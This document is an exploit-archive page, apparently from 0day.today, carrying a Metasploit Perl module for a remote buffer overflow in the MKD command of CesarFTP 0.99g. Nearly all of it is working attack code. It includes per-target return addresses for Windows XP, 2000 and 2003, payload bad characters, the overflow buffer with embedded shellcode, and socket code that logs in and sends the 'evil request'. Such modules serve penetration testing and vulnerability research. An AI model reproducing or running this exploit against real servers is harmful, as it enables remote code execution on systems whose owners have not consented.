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CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit (meta)
========================================================== CesarFTP 0.99g (MKD) Remote Buffer Overflow Exploit (meta) ========================================================== ## #---ORIGINAL CREDITS TO h07 FOR FINDING THIS VULN--- # Ported to metasploit by c0rrupt # ~ f34r.us ~ ## package Msf::Exploit::cesarftp_mkd; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'CesarFTP 0.99g Buffer Overflow', 'Version' => '$Revision: 1.3 $', 'Authors' => [ 'c0rrupt [at] f34r [dot] us', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32', 'win2000', 'winxp' ], 'Priv' => 0, 'AutoOpts' => { 'EXITFUNC' => 'seh' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 21], 'USER' => [1, 'USER', 'Login name'], 'PASS' => [1, 'PASS', 'Password'], }, 'Payload' => { 'Space' => 325, 'BadChars' => "\x00\x09\x0a\x0d\x22\x25\x26\x27\x2f\x3a\x3e\x3f\xFF\x5c", }, 'Description' => Pex::Text::Freeform(qq{ This module exploits the buffer overflow found in the MKD command in CesarFTP 0.99g. It is required that the user be properly logged in before the exploit can be peformed. }), 'Refs' => [ ['URL', 'http://www.milw0rm.com/exploits/1906'] ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows XP SP2 English', 0x7746F114 ], # comctl32 ['Windows XP SP0/SP1 English', 0x776606af ], ['Windows 2003 server sp0/xp sp1 English', 0x77798428 ], ['Windows 2003 server SP1 English', 0x7caa9618 ], ['Windows 2000 SP4 English', 0x78344dd3 ], ], 'Keys' => ['ceasarftp'], 'DisclosureDate' => 'June 12 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; my $user = $self->GetVar('USER'); my $pass = $self->GetVar('PASS'); my $buf = "MKD " . "\n"x671 . "A"x3 . pack('V', $target->[1]) . $shellcode . "\x0d\x0a"; #pack('V', $target->[1]) #"\x23\x79\xAB\x71" $self->PrintLine(sprintf("[*] Trying to exploit target %s ", $target->[0], )); my $sock = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, ); if ($sock->IsError) { $self->PrintLine('[*] Error creating socket: ' . $sock->GetError); return; } my $r = $sock->Recv(-1, 20); if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; } $self->PrintLine(sprintf("[*] Sending login credentials")); $sock->Send("USER $user" . "\x0d\x0a"); sleep(1); $sock->Send("PASS $pass" . "\x0d\x0a"); sleep(1); $self->PrintLine(sprintf("[*] Sending evil request")); $sock->Send($buf); $self->PrintLine(sprintf("[*] Exploit complete")); return; } # 0day.today [2024-09-19] #